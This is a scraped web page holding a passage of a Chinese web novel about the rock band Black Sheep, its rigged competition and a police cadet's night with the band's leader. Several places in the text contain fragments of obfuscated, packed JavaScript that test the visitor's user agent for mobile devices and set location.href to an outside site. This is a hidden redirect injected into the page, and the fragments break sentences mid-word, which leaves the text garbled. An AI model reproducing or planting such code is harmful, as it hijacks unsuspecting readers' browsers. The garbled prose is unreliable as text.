l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748513|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就要角逐冠军了,一切顺利。”宋燃犀坐在他对面,只尴尬了一会,就被转移了注意力,他捏着啤酒罐,很认真地看着尧新雪回答。 “好。”尧新雪仰头喝了一口啤酒,苦涩的酒液顺着他的喉管滑进胃里。他的酒量深不可测,即使刚跟队员们庆祝完,脸上也不见醉意。 尧新雪随意地赤脚踩在宋燃犀的脚背上,仿佛嫌窗台太冷了。有时候,宋燃犀看着他心想,尧新雪和猫一样,带着些许恃宠而骄的理所应当。 小房子也总是睡在他的身上,总是爬上他的肩膀。因为它知道宋燃犀不会伤害自己,它知道宋燃犀会保护自己。 宋燃犀没有赶尧新雪,只是跟着仰头喝了一口之后,脸就泛了一层酡红。 尧新雪饶有趣味地观察着他,宋燃犀醉醺醺地往窗台后靠,他望着尧新雪,然后笑了一阵。他看到尧新雪的长发落在窗台上,像窗台上积了一层雪。 宋燃犀伸手想要捞起那几绺长到地面上的头发,却因为一直捞不到,身体往旁边倒去。 尧新雪眼疾手快地拉住了他的手,拽住他。勉强没让他就这样摔在地上。 宋燃犀就着这样的姿势,看着尧新雪,眼底笑意不减,他显然醉得不轻,看起来傻傻的,说话却是完整的:“尧新雪,你不要掉下去。” 尧新雪在听到这句话时瞳孔猝然放大,他看着宋燃犀,眼睛微微眯起,在短暂的注视后转而弯了起来——他笑了。 如果宋燃犀还清醒,看到这个笑容也许会感到被某种怪物盯上的毛骨悚然。 这个笑和尧新雪平常那些温柔的、礼貌的、带有安抚性的笑容不同,带着明显的被看穿的意味。 然而他已经醉透了,对这一切都无知无觉。 渺远的夜空如同一匹深蓝色布绸无限地向远方无限延伸,毫无一丝点缀。 同一时刻,贺忆舟回到了自己房间,他反锁上门之后立刻扔开了那根拐杖。 他踉跄着、像正常人那样迈开脚步往前走,还没走两步就失去平衡重重地摔在了地上。 他痛得闷哼一声,身体撞到旁边的书架,零散的几本书就这样掉下来,砸在他身上。 此时此刻,贺忆舟狼狈不堪,他闭上眼睛,再次睁开时,只看到了一封邀请函掉在了自己的眼前。 他颤抖着手指打开了那封镶着金边的邀请函,手指抹过那一行花体英文,最后目光落在了“尧新雪”这三个字上。 在注视了许久这个名字之后,他苦笑着在上面落下一个吻。 晚上十一点,贺氏集团的最高助理收到了来自少东家的电话。 “这场比赛的总分数按比例计算,网络投票占30%,单曲销售占30%,现场投票占40%,黑羊连续三场表演获得现场表演的最高票数,同时网络投票、单曲销售等有高达96%的支持率,预测将获得冠军。”助理兢兢业业地为这位继承人提供了预测。 “等他们二进一时,另外一支队伍叫什么?” 助理客观分析道:“根据过去几场赛事的胜率计算,另一支队伍极有可能是焚星,他们网络投票与单曲销售有89%的支持率,现场表演综合下来有五分之四的票数,但与黑羊相比,竞争力仍然较低。” “那就买断他们的单曲,增加他们的网络投票。” “您的意思是……”助理有些讶异地问。 “去办吧。”电话对面,贺忆舟只是厌倦般说。 15. 第 15 章 黑羊四进二的表演,以压倒性的票数成功晋级,从海选到如今只需要和一支队伍一较高下,楚枕石甚至觉得自己在做梦一样,仿佛闭上眼,黑羊乐队真正组成的那一日还在昨天。 他大口大口地呼吸着,站在这个窄小的舞台上茫然地看着台下,贝斯的背带压在肩膀上留下一道勒痕,频繁的排练已经让他放在贝斯的手形成条件反射,只要薛仰春的鼓声开始响起,他就能弹奏贝斯。 楚枕石在震天的欢呼声中看向了尧新雪的背影——此刻,尧新雪正高举着手中的麦克风,挺拔地站在最前面,如海的尖叫就这样向这个蓝灰色的背影席卷而来。 “一开始,会是这个城市,然后会是整个国家,”尧新雪在他加入乐队的那一天向在场的所有人这样宣告,笃定般说,“最后,会是整个世界。” 楚枕石一开始只觉得荒唐,而如今望着尧新雪的背影,却不由地相信起——这是一件必定会发生的事,尧新雪一定会带着这支乐队走向世界。 他们鞠躬之后走向台下,楚枕石又看到了迟天境。 今天他同样带了一捧蓝色的玫瑰花来,站在原来的位置,向他们招手。 楚枕石看着尧新雪接过了那捧玫瑰,然后调侃他:“太给力了小天同志,你真的不会错过我们的每一场表演。” 迟天境有些窘迫,不好意思地笑了一下:“我很快就毕业了,空闲时间比较多,现在在准备考试,看完你们的表演就回去了。” 薛仰春看他一副老实的样子,觉得这人从初见到现在还是这么拘谨,有些好玩,于是挑逗道:“知道你喜欢我们队长了,今晚老地方,再给你个近距离靠近偶像的机会?” 尧新橙的脸色不太好看,他拉住薛仰春的衣袖警告道:“你……” 迟天境却仿佛被说中了一样,脸一下就红透了,听到薛仰春的话,只是不作声。 “等会就去后门见吧。”尧新雪温和地说。 迟天境腼腆地笑着应声道:“好。” 他已经没有像之前那样拘谨,在尧新雪还在医院时,就已经跟楚枕石、薛仰春熟起来。迟天境并没有把他们当作偶像,只是当作朋友一样。 黑羊乐队的四个人前后走向休息室,在走廊里碰上了另外一支队伍——焚星乐队。 如果不出预料,焚星乐队同样会晋级,成为黑羊角逐冠军唯一的竞争对手。 楚枕石、尧新橙和薛仰春的眼神立刻戒备起来,站在尧新雪的身后,无言地停了下来。 焚星乐队的队长叫做王允,是主唱兼吉他手,还是个看起来脾气不太好的寸头。他们乐队的风格主要为迷幻摇滚,听着他们的歌像整个人漂流在酒精里,独树一帜且坚持到底的风格无疑拥有着不少受众。 尧新雪无视了王允挑衅的眼神,余光落到他们贝斯手江楼裸露的手臂上。 他的眼睛微微眯起,因为江楼的手臂内侧有着些许暗淡痕迹。在舞台上,因为夸张的服饰,很难有人注意到这一点。只有近距离仔细看,才能看清。 没有人注意到这一点,双方只是虎视眈眈地盯着对面的队长。 尧新雪不着痕迹地收回目光,望着江楼针尖状的瞳孔微微一笑。对方吸了吸鼻子,只是困惑地看向他。 “祝你们一切顺利,下次比赛见。”尧新雪笑着说,他没有放下狠话,只是给了平平无奇的祝福。 王允却一瞬间有被发出嘶嘶声的毒蛇盯上的错觉,然而这种感觉转瞬即逝,当王允警惕地看向尧新雪,却并没有从他漂亮的脸上看出任何可疑的痕迹。 王允很快就镇定下来,他同样扬眉假惺惺地笑道:“谢谢,也恭喜黑羊晋级。” 两支乐队剑拔弩张的氛围就这样消解,在擦肩而过的一瞬间,尧新雪再一次侧过头看向江楼。 当他真正看清那处皮肤上隐秘的针眼时,嘴角的笑意便更深了。 然而并没有人注意到他表情的变化。 迟天境就等在后门,看到尧新雪他们走出来时,眼睛再一次亮起。 尧新雪换了一件黑色的背心,这个颜色显得他的皮肤更白,头发更蓝了。即使他在舞台上也从来没有化过任何妆,这副温柔日常的样子和台上肆意的姿态还是大相径庭。 迟天境克制着自己的目光不会太过露骨,只是像之前那样向他们挥了挥手。 迟天境是黑羊乐队最开始的听众之一,更准确的说,他是尧新雪最开始的听众之一。 从三斧酒吧到地下摇滚赛,迟天境是亲眼看着尧新雪是如何从只身一人到现在组成乐队参加比赛的。 因为他从见到尧新雪的第一眼就被尧新雪吸引,所以他从来不会落下任何一场有尧新雪在的演出,永远会站在距离尧新雪最近的位置。 迟天境在警校里成绩名列前茅,长相也是数一数二的帅气,大学三年却从来没有谈过恋爱,理由是“想参加联考入警”。 他的舍友曾经非常震惊:因为这家伙从一开始就把这个理由挂在嘴里,并且大学生活里贯彻到底,他不仅每天都花大量时间学习,也始终坚持着高强度的体能训练。 迟天境单纯得不可思议,严于律己的同时也极有正义感,他极其善良,因此在学校里人缘不错。 如果不是为了把醉酒的舍友带回来,迟天境恐怕这辈子都不会踏进酒吧。 如果没有在酒吧看到尧新雪,迟天境也许这辈子都不会听摇滚乐,去看摇滚比赛。 他的舍友凌晨两点打游戏的时候刚好等到他看完尧新雪的比赛回来,痛心疾首道:“小天你完了,你已经彻底堕落了,放在三年前我也不能想象你迟归宿,凌晨两点翻墙回来的样子。” 然而迟天境不置可否,他心情愉快道:“今天尧新雪唱了一首新歌。” 舍友翻了个白眼。 所以当他看到尧新雪在舞台上出事的时候,心脏真的仿佛一瞬间停了。那时候太混乱了,所有人都拥挤在一起,尧新雪被迅速地带去了医院,几乎没有能让他插手的地方。 迟天境心乱如麻,只能以自己的方式找到楚枕石的联系方式,来询问尧新雪的状况。 但他没有想过,这个莽撞失礼的行为,竟然真的能让他看到尧新雪,并且成为黑羊队员的朋友。他在这之前从来没有想过……他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748514|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这样靠近尧新雪。 如今尧新雪就坐在他的手侧,还知道他忌辣,向服务员确认了一遍时,迟天境仍然恍如梦中。 他偷偷地掐了一下自己的大腿,然后故作镇定。 尧新雪身上有香根草的味道。迟天境的脑子现在只有一个想法。 “诶,焚星会晋级吗?”楚枕石问尧新雪。 “会的,他们今天状态不错。”尧新雪客观评价道,“焚星必定会成为我们最后的竞争对手,因为他们比其他人要坚定得多。他们抱着不拿第一就解散的念头来到这里,就注定会和我们走在同一条窄路上。” “但这条路是挤不下两支队伍的,就像独木桥一样,承重有限。可是我们已经走了这么久,这么久,我们就必须走到这条路的尽头,必须成为唯一的赢家。”尧新雪的眼底没有什么情绪,只是温和地说出了这些话。他用手托着自己的下颌,看着在场的所有人,微笑道。 “因为我们不可能让前面所付出的时间和精力全部付诸东流,也不能失去眼前这个唯一的、能够得到更多资源和曝光的机会。任何人,都不应该阻碍我们。所以放手去做吧,不要有任何顾虑。” 他的声音仿佛天生带着足以蛊惑人心的煽动性,诱人得如同禁果一般。而那双温柔而坚定的眼睛在说完后微微弯起,尧新雪微微仰起头,举起酒杯示意。 在座的其他人都有些怔愣,然后很快回过神笑了,纷纷举起酒杯相碰。 “突然这么说,我都有点紧张了。”楚枕石笑道,心里却仿佛有一块大石落下了。 “我们会赢的。”薛仰春晃着啤酒罐。 “嗯。”尧新橙点点头。 迟天境还沉浸在尧新雪的话里,尧新雪的话如同一口钟,撞进他的肺腑,直至到现在,他的胸腔里仍余留着回音。他凝视着尧新雪,内心感到难以言喻的触动和共鸣,握着啤酒的手忍不住缓缓收紧。 “我记得你之前说过,你以后想做个警察?”尧新雪偏过头问他。 迟天境回过神来,他感觉到自己的心脏在微微颤抖着,嘴巴已经先大脑一步说了出来:“对,我想做一个优秀的警察,把天下的所有坏人都抓起来。” 其他人听到这个回答时都不约而同地笑了,迟天境才意识到自己的说法其实多少有点幼稚,他羞恼得涨红了脸,没有敢去看尧新雪。 然而尧新雪没有笑他,只是拿着啤酒和他碰杯,认真道:“好啊,小迟警官。” 迟天境猛地抬头看向尧新雪,望着尧新雪的侧脸,他的耳尖再一次熟透,匆匆地低头“嗯”了一声。 “你的梦想和我们队长的梦想一样伟大嘛。”楚枕石笑道,他打了个哈哈。 “都会实现的啦。”薛仰春望着迟天境红得滴血的脸,忍不住再次笑出声。 迟天境在尧新雪的注视下,将啤酒罐里的酒全部一饮而尽。 柔和的光勾勒着尧新雪完美无瑕的侧脸,他只是嘴角带着清浅的笑意,眉眼弯弯地看着自己。 很多年以后,迟天境才意识到,也许从那一天的那一刻起,他就已经无可救药地爱上尧新雪了。 16. 第 16 章 “出事了。”尧新橙看着尧新雪,表情有些凝重。 因为驻唱,尧新雪很晚才回到租房,他只睡了不到四个小时,就被尧新橙叫了起来。 尧新雪看着尧新橙手机上的内容,眼神逐渐冷下来。 后天就是二进一的比赛了,而现在,黑羊乐队网络上的支持率开始大幅度下跌,在他们单曲的评论下,攻击和批评的声音如雨后春笋般一夜之间全冒了出来。 与他们状况相反的是,焚星乐队的支持率迅速飞涨,单曲销售已经达到了黑羊的两倍。 仅仅是一夜之间,两支队伍的优劣势似乎已经出现了反转。 尧新雪甚至都不用去猜,这会是谁的手笔——能够只手遮天,插手比赛的人只有贺忆舟而已。然而贺忆舟的做法仍然有些出乎尧新雪的预料。 然而尧新橙没有在他的脸色上看出任何愤怒或憎恨的表情,尧新雪只是淡淡地说:“知道了。” 焚星乐队如今的网络支持率与单曲销售已经全面压过黑羊了,无论他们之后的现场表演有多么出彩,在现场票数仅占40%的赛制下,黑羊必输无疑。 尧新雪坐在位置上思考了一会,然后叫了其他人去到三斧酒吧。 尧新雪的表情和平日里的没什么区别,看到薛仰春气鼓鼓地走过来时只是往自己身边拍了拍,淡定道:“坐。”? “喝什么?”尧新雪问。? “酒。”薛仰春说。 ?“不了吧,后天就要上台了,喝了酒你明天头痛。”尧新雪看似认真思考了一下,然后给她点了杯橙汁。 ?提到“上台”,薛仰春仿佛被点炸了的炮仗,她的眼睛红了,猛地站起来想要骂什么,看着仍然镇定自若的尧新雪,漂亮的眼睛最后却只委屈得蒙了一层水光:“凭什么啊?” 没有人比黑羊乐队的队员更清楚尧新雪为了这场比赛付出了多少,如果薛仰春每天都花四个小时在乐队比赛上,那么尧新雪付出的则是成倍的时间。 他如同刀匠精心雕琢打磨着名刀一样打磨着他的终曲、他的乐队,然而如今在耗尽了不可计数的代价之后,在这把刀即将能够面世之时,它就已经被提前拦腰折断,世人甚至还没有见到它的光辉——这似乎有些……过于悲哀了。? 薛仰春只是替尧新雪感到深深的失望和难过。 然而尧新雪一言不发,只是专注地望着某个地方。他蓝灰色的长发散落在沙发上,在黑暗中如同幽蓝的海水。? 楚枕石“砰”地开门走进来时,就首先看向了尧新雪,他言简意赅地把现在的情况说了一遍:“我打电话给主办方,跟他们说网络数据被动了手脚时,他们打太极说只承认赛制下的最后结果,他们不予受理……”他深深地吸了一口气,烦躁地骂了一句,“真是操了。” ?楚枕石看向红着眼睛的薛仰春,只能无奈地将眼前那杯橙汁一饮而尽。? 尧新雪只是点点头:“好吧,你也坐,辛苦了。等小橙来了,我们再确定一下对策。” 他们并没有等太久,尧新橙就来了,跟在他身后的是迟天境。 尧新橙看了一眼尧新雪,只是一言不发地坐在了他的身侧。 迟天境本来是看到网上的信息之后有些担心,就来酒吧附近碰碰运气,没想到能遇上尧新橙,正想问问尧新橙,对方却仿佛早就知道他会来到这里似的,只是平淡地说:“一起,来吧。” 进去之后,黑羊乐队的人都在,俨然是要严肃开会的样子,但没有人对他的突然出现感到意外,迟天境显然也没有把自己看作外人。 尧新雪温和地说:“都坐吧,我们一起商量商量对策。” “现在的情况大家都清楚了吧,我们的单曲销售和网络投票已经被焚星大幅度超过了。”尧新雪点了一支烟,他半垂着眼,手指间夹着细长的烟,幽微的火光一瞬间映亮他的脸。 迟天境没有在他的脸上看到任何情绪。 “不知道焚星是找了什么靠山,明眼人都看得出是动了手脚,主办方就这样装聋作哑。如果要这么捧他们,为什么还要专门搞个比赛,还要拖到这个时候?”薛仰春冷笑道,显然她的情绪已经平复下来了。 “对,我们也没可能得罪什么人吧,现在的情况更像是有人专门想搞我们,天可怜见的。”楚枕石苦笑了一声,他靠在卡座上,仰着头吐了口烟。 “嗯,是谁不重要,重点在看看还有没有补救的机会,你们觉得呢?”尧新雪放松似地抽了一口烟,神情近乎慵懒,在酒吧暗色的灯光里,氤氲的烟雾若隐若现,这一幕有着电影般的质感。 “跟主办方的人见一面?”薛仰春撑着下颌,撇了撇嘴。 “没用的,他们死咬着规矩不放。”楚枕石忧愁道。 “好想把焚星的人揍到爬不上台啊。”薛仰春翻了个白眼。 一声不吭的尧新橙在这时“嗯”了一声,楚枕石给这两个年纪小的一人一个弹脑门。 “我会出面和主办方再试着协商,枕石可以试着暗示粉丝联名向主办方递反馈意见,等会我会把我们的官方账号密码给你,你知道应该怎么做吧。”尧新雪迅速地作出了安排,在得到楚枕石的点头后,他又将目光转向了剩下两个人,语气温和,“你们不准乱动,我要你们保证在演出那天是最好的状态。” 薛仰春不情不愿地“哦”了声,尧新橙也低着头说“嗯”。 “好,暂时先这样,都早点回去休息吧,不用想太多。”尧新雪轻声道,剩下三个人应了,然后就这样拖拖拉拉地一起走了出去。 在被薛仰春推着走出酒吧前,尧新橙看了迟天境一眼。 而迟天境只是看着尧新雪,在看到他在这么短的时间内镇定地安排好所有人和可用的解决方法时,他的心也稍微安定了一点。 一切棘手的问题,仿佛只要有尧新雪在,就显得不再棘手。他是头羊,理所应当地管束领导着羊群,仿佛有着天生的、宗教性般的感染力。 尧新雪对他说:“陪我坐一会吧,我先打个电话。” “好。”迟天境几乎没有犹豫,条件反射般回答道。 尧新雪将手机贴近耳边,只响了不到两秒,对面就接通了。 “忆舟?”迟天境听到尧新雪这样称呼对面,那是个迟天境并不知道的名字。 “这是你做的吗?”尧新雪问。 迟天境不知道对面回答了什么,只知道尧新雪轻轻笑了一下:“我有些……失望。” 这两个字眼似乎尖锐地刺痛了对方,他几乎喋喋不休地说了一大堆话。 尧新雪只是安静地听着,然后抖了抖指尖的烟灰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的视线转至尧新雪被酒液润红的唇,然后克制地将目光转到了自己放在膝上的双手,在香根草若有若无的笼罩下,他注意到几绺蓝灰色的头发就这样落在了自己的大腿上。 迟天境忍不住收紧了手指,小心地,努力地不让尧新雪注意到,他的尾指在暗光处勾住了那绺头发。 “无论你是什么样的。”迟天境轻声强调了一遍。 迟天境从来没有说过这样直白而赤裸的话,就在他不确定这句话是否被尧新雪听到时,这个人醉了似的轻轻靠上了他的肩膀。 迟天境的身体紧绷起来,他几乎有些不敢置信,耳边只听到自己擂鼓般的心跳与尧新雪的呼吸声。 “带我回去吧。”尧新雪低声说,声音有些哑,黏黏糊糊的,像是在撒娇。 “我不知道,你的家在哪。”迟天境的背始终紧绷着,他犹豫地抬起手搭上了尧新雪的肩膀,防止他靠不住自己。 “嗯……”尧新雪像是没有听清,只是皱着眉,他半睁着眼,眼睛仿佛无法聚焦。 迟天境只能小心地把他拉起来,让尧新雪把重心放在自己身上。 就在他努力地调整好姿势,想要背起尧新雪时,一张卡从尧新雪的身上掉了下来。 迟天境一手扶着尧新雪,一边弯着腰捡起那张卡,等终于看清上面的字时,他才慢慢地意识到——那是一张房卡。 17. 第 17 章 迟天境的脑子嗡嗡地在响。 他想起自己那些高中同学,曾经不止一次在朋友圈里发过和女友在酒店的合照。 评论区里总有人开着低俗的玩笑,玩着谐音梗暗示:好幸福啊。 迟天境曾经觉得这很奇怪,将酒店和□□联想在一起,似乎有些过度联想了……他记得自己当时只是皱了皱眉,没有发表任何评价。 此刻当下,他半扶着尧新雪的腰,半握着尧新雪温热的手臂,把尧新雪小心扶进出租车,向出租车司机报出酒店的地址时,迟天境却卑鄙地联想起了这件事。 当他注意到司机正通过后视镜打量他们两个人时,迟天境忍不住心想:这个人是不是对我们有误会? 他小心翼翼地整理好尧新雪的长发,然后抬起手挡在尧新雪闭着的眼前,以免光束照得令尧新雪感到刺眼,在做好了一切之后,迟天境终于得以认真看向尧新雪。 尧新雪的脸泛着些许红晕,瓷白的皮肤仿佛染上了绯红的颜色。在摇晃的车里,窗外光怪陆离的景象依次以他的脸庞为底色掠过,唇环上的银链随着他微微张开的嘴唇轻轻晃动着,如同坠着月光的清晖。 如同站在放映电影的幕布前一样,尧新雪是此时此刻此地的唯一主角,无数人的一生在他的眼睛、在他的脸庞上走马灯般闪过。 迟天境只是看着尧新雪,心跳已经越来越快了。 房卡确实是今天的。 在和酒店的前台确认之后,迟天境现在几乎是半抱着尧新雪走。 尧新雪并不重,迟天境其实很想背他起来,然而当他的手无意间搂住了尧新雪的腰时,迟天境没由来地放弃了这个想法。 他也许不喜欢别人背他。迟天境心虚地为自己解释道。 迟天境一步一步,走在酒店柔软的地毯上,左右两道的门如同时钟的一格一格刻度。仿佛被凝视着,时间艰难地流逝,即使这层楼暂时还没有人,他仍然感到如芒在背。 迟天境联想着那件朋友圈的事,他在这时还无法解释,自己潜意识里可能真的战栗着、期待着这件事发生。 迟天境其实并没有自己想得那么高尚。 门合上的一瞬间,迟天境仿佛听到了心底的那个法官最后落下了法槌,某个天平已经在那时倾斜了。 “新雪,醒醒。”迟天境轻声说,他一手托着尧新雪滚烫的、泛着红晕的脸,一边问。 “天境。”尧新雪微微仰着脸,嘴角勾起一抹温柔的笑。 灯没有开,他和迟天境就这样靠在门的背后,一门之隔的是别人的说笑声。 迟天境感觉酒精有些影响他的思考了,他感到些许战栗,忍不住小心地将尧新雪一缕长发撩到耳后。 在黑暗里,他有些看不清尧新雪的表情,尧新雪似乎也看不清他,于是往前靠近了一点。 迟天境下意识地后退了一步,当他退无可退,背已经抵在了墙上时,尧新雪也停了下来。 无根草混着极淡的酒精味,就这样充盈在这窄小的空间里,迟天境感觉自己快疯了。 可是他仍然不敢出声,只是放轻了呼吸,像是生怕吓退了尧新雪。 迟天境恍惚间以为自己成为了猎物,因为尧新雪此时如同狐狸,若有若无地嗅着自己,仿佛确定着他是谁一样。 这个距离太近了,迟天境羞耻地发现自己起了反应。 尧新雪的腰,尧新雪眼底若隐若现的笑意,尧新雪的手指和雪白的手臂……迟天境看到的、触碰过的一切都让他有些情难自已。 他感觉到自己脑子里绷紧的弦仿佛在一根根崩断,他痴迷眼前的这个人,居然已经到了濒临失控的程度——只需要一点点酒精,理智就会彻底崩塌。 昏暗的光线里,尧新雪低着头靠在他的肩膀上,两个人的呼吸缠绕在一起,迟天境抵在墙上的手指颤抖了一下。 在艰难的心理挣扎下,迟天境凭着最后一丝理智按住了尧新雪的肩膀。 他呼吸有些急促,却还是努力轻声道:“新雪,你醉了。” “你是天境吗?” 迟天境听到尧新雪这样低笑着问,然后感觉到他的腿若有若无地顶着自己。而且因为迟天境远比尧新雪要高,尧新雪甚至是仰着脸看他。 他真的清醒吗? 迟天境已经分不清,真正不清醒的、喝醉的那个人是谁了。 “天境,可以吗?”尧新雪轻声问。 他的唇堪堪停在了能吻上迟天境的位置,仿佛下一秒就真的能倾身而上。 “你醉了吗?”迟天境问,过快的心跳声在这个逼仄的空间里被无限放大。 “没有。” 他听到尧新雪说。 这是个谎言吗?迟天境心里想,可是他希望这是真的。 “你醉了吗?”迟天境固执地再一次问道,他企图以这个问题来逃避内心的道德诘问,仿佛只要问清楚这个问题,他就可以理所应当、名正言顺。 “迟、天、境。”尧新雪将双手搭上了他的肩膀,在黑暗中重复了一遍他的名字,在这个距离下,迟天境能清楚地看清尧新雪是如何动着嘴唇发音。 尧新雪的双唇微张,嘴角弧度轻轻上扬,舌尖轻轻地抵住上颚,仿佛有着些许鼻音。 他看见尧新雪说:迟天境——那是他的名字。 是谁先吻了上去? 迟天境脑子里的那根弦终于崩断了,他几乎是放纵着自己不再去细想这个问题。因为无论是什么,对他来说都已经不重要了。 他的手已经迟疑地碰上了尧新雪的腰,仿佛是护着尧新雪一般,牢牢紧扣住,甚至有意地将眼前的这个人带高,以便于这个吻更深、更绵长。 尧新雪的身型比迟天境小一圈,这个姿势仿佛是迟天境把他完完全全笼住了一样。 迟天境第一次尝到接吻的滋味,是香根草的气息——凛冽而温柔,他几乎要沉醉在这里,如同走在沙漠上快渴死的人饮到露水。 他们仍然紧紧依靠在门后,门外是隐约的说笑声和脚步声,无时无刻不在提醒着迟天境:他此刻在对尧新雪做着什么。 这是错误的,这是错误的。 迟天境的心里疯狂地叫喊,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓝灰色的长发落在他的腿上,如同卷曲的绳索牢牢地禁锢住迟天境的所有动作。 他屏住了呼吸。 因为他看到尧新雪将手伸到腰侧,解开了一颗扣子。 黑暗之中他的听觉仿佛变得特别灵敏,背链被拉开的声音极为清晰。 迟天境快要疯了,他看着眼前的尧新雪,连自己仍在呼吸都没有意识到。 漫长的夜里,迟天境的脑子无比混乱,却也感到无比的快乐。过去的所有幻想此刻都成为了现实,灼热、快乐得令他头晕目眩。 他迷恋地看着尧新雪垂下的微微颤抖着的长睫,那只握着麦克风的手就这样按在自己的身上,成为唯一的支撑点。 尧新雪那漂亮的眉微微皱着,仿佛无可忍受一般,细腰却出乎意料地柔韧。 那一夜无比地漫长,于迟天境而言却极其短暂,他害怕着迎来明天,战栗着享受着此刻。 金属砸落在地上的声音格外清晰——迟天境在很久以后才意识到,那是自己的皮带。 18. 第 18 章 迟天境第二天醒来的时候,注意到手边没人时,立刻惊坐了起来。 坐起来之后他才看到尧新雪,尧新雪正屈着膝坐在床边,看着手机。 如瀑的长发掩盖过他赤裸的背,隐约露出暧昧的红色痕迹,在他瓷白的皮肤上,指痕、吻痕如同原本完美无瑕的雕像上经过时间后生出的一道道裂痕,既旖丽又引人遐想。 一切无不在昭示着昨天晚上到底发生了什么,迟天境的大脑一下子又暂停了。 “醒了?”尧新雪注意到他的动静,就这样侧过头来看他,眉眼弯弯,和平常一样。 “嗯。”迟天境的耳朵红了,他有些不知道该说些什么,只是本能地想要靠近尧新雪,轻轻地理着尧新雪的长发。 尧新雪不说话,迟天境只好小心翼翼地问:“你生气了吗?” “怎么会?”尧新雪一弯唇,他伸出手揉了揉迟天境的脑袋,挑起眉,“你后悔了?” “没有!”迟天境立刻回答道,但看着尧新雪,脸又不争气地红了,只好低下头避开他的眼神,“我就是怕你……” “不用多想。”尧新雪轻笑,手指卡住迟天境的下颌,随意的、奖励似的给了他一个吻。 迟天境被这个吻砸得头晕转向,只能胡乱地点着头。 “新雪,”迟天境坐在尧新雪的身边,如同被教得极好的大型犬,依偎着唯一的主人。他的声音因为晨起,还有些沙哑,却极其温柔,“我第一次见到你的时候是在三斧酒吧,你在唱歌,我听人家说,你是第一次来。” 迟天境磕绊地说,他低着头只是看着尧新雪的背,却很认真,“我当时就觉得,我的运气实在太好了。你无论做什么,都很好看,唱歌也是那么好听,很多人喜欢你。” “那你呢?”尧新雪也认真地听着,他允许迟天境将自己的一绺头发缠在手指上,仿佛只是一时兴起地问道。 “我……”迟天境和尧新雪的视线相碰,最后深深吸了一口气,环抱住了尧新雪,“我特别特别喜欢你。” 尧新雪笑了,迟天境能感觉到,他在自己怀里就这样笑得肩膀轻轻颤抖。 “好想一直看着你唱歌。”迟天境脸有些热,听到尧新雪的笑声却很高兴,他将侧脸贴向尧新雪的脊背,声音闷闷的。 “那为什么想做警察呢?”尧新雪问道,他点了一支细长的烟,烟雾缓缓地盘旋在这逼仄的房间里,这个角度里,迟天境其实看不见他的表情。 听到这句话,迟天境只是沉默了一瞬间,嗅着尧新雪的发香,他的脸色才稍有缓和。 他轻声说:“我和我父亲的感情很好,在我心里,他一直是世界上最好的父亲。他很善良,是一家孤儿院的院长,陪着那些孩子的时间,甚至比陪我要长。但是我还是很爱他,尊敬他,因为他只要有闲暇时间,都会回家陪我和妈妈。 我记得,他晚上回来,喜欢带我去公园。白天我看着那些孩子和父母在这里玩,我孤身一人,但我并不羡慕他们。 因为到了晚上,我的爸爸也会带我来到这里。他会把我架在肩膀上,我就抱着他的脑袋,等他带着我跑在公园的草地上,像白日里所有孩子的父亲一样,那是我一天中最开心的时候。那个时间里公园里没有其他人,这是只属于我和爸爸的记忆。 我知道孤儿院其实很难经营,妈妈一直劝他将孤儿院转手。但是爸爸并不同意。他说,他实在不放心,把那些无家可归的孩子交给其他人。 他在我心里,是英雄般的存在吧,直到现在,我仍然记得,当时我躲在书房外,偷看到他们交谈的这一幕。他比那时的我高太多了,高得和我心里的形象等同。” 尧新雪没有作评价,只是吸了一口烟之后,转过身来吻迟天境,在吻的间隙里将那口烟渡过去。迟天境从来没有抽过烟,因此被呛出了眼泪,他反应过来的一瞬间笑了一下,靠过去追着想要继续吻尧新雪。 “然后呢?”尧新雪容许他吻了一会之后,将手指抵在了迟天境还想靠过来的唇前,笑着问。 “然后在我七岁那年,孤儿院起了大火,我的爸爸死了。”迟天境用手指,轻轻抹过尧新雪的唇沿,注意到尧新雪瞳孔一瞬间的收缩。 “被吓到了吗?”迟天境再一次抱住他,“没关系的,已经过去很久了。” 迟天境习惯了别人听到自己身世或震惊或同情的神情,于是也理所当然地将尧新雪此刻反常的神态归因于此。 当迟天境成长到如今,他已经不再为这件事感到痛苦。很久不再和其他人提起之后,再说出口时心里只剩下了极淡的难过。 他轻轻地拍着尧新雪的背,用着轻松的语气说:“你还想听吗?” “嗯。”尧新雪将一只手搭上了他的背,眼底的情绪变幻莫测。 “没有人查出来为什么孤儿院会突然失火,他们只能当作是意外,爸爸只是恰巧没有逃出去。”迟天境平淡地说,“我和妈妈一起去太平间认领尸体,我像在夜晚的公园里抱住他的头那样抱着他,却留意到他头颅右侧的位置有一块不正常的凹陷。因为已经被烧得血肉模糊,几乎没有人注意到。我和警察们提起时,他们也只是说,是我的错觉。但我知道不是这样的。” 